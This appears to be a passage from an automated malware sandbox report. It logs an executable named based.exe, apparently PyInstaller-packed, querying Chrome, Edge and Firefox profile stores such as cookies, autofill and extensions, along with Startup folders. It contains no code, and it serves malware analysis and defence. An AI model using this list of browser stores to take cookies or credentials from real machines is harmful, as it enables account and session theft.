Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\_hashlib.pyd VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\_queue.pyd VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\unicodedata.pyd VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\6f70cc77-7837-4f44-9c31-7de59e446d67 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\6f70cc77-7837-4f44-9c31-7de59e446d67 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crowd Deny VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\6f70cc77-7837-4f44-9c31-7de59e446d67 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.8 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AssistanceHome VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AutofillStrikeDatabase VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage\45553bce-41a3-4fff-adb5-94a1080d3389 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows PowerShell VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.8 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation\6498.2023.8.1 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\content-prefs.sqlite VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\EntryDB VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\Files VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage\45553bce-41a3-4fff-adb5-94a1080d3389 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\BudgetDatabase VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg VolumeInformation	Jump to behavior
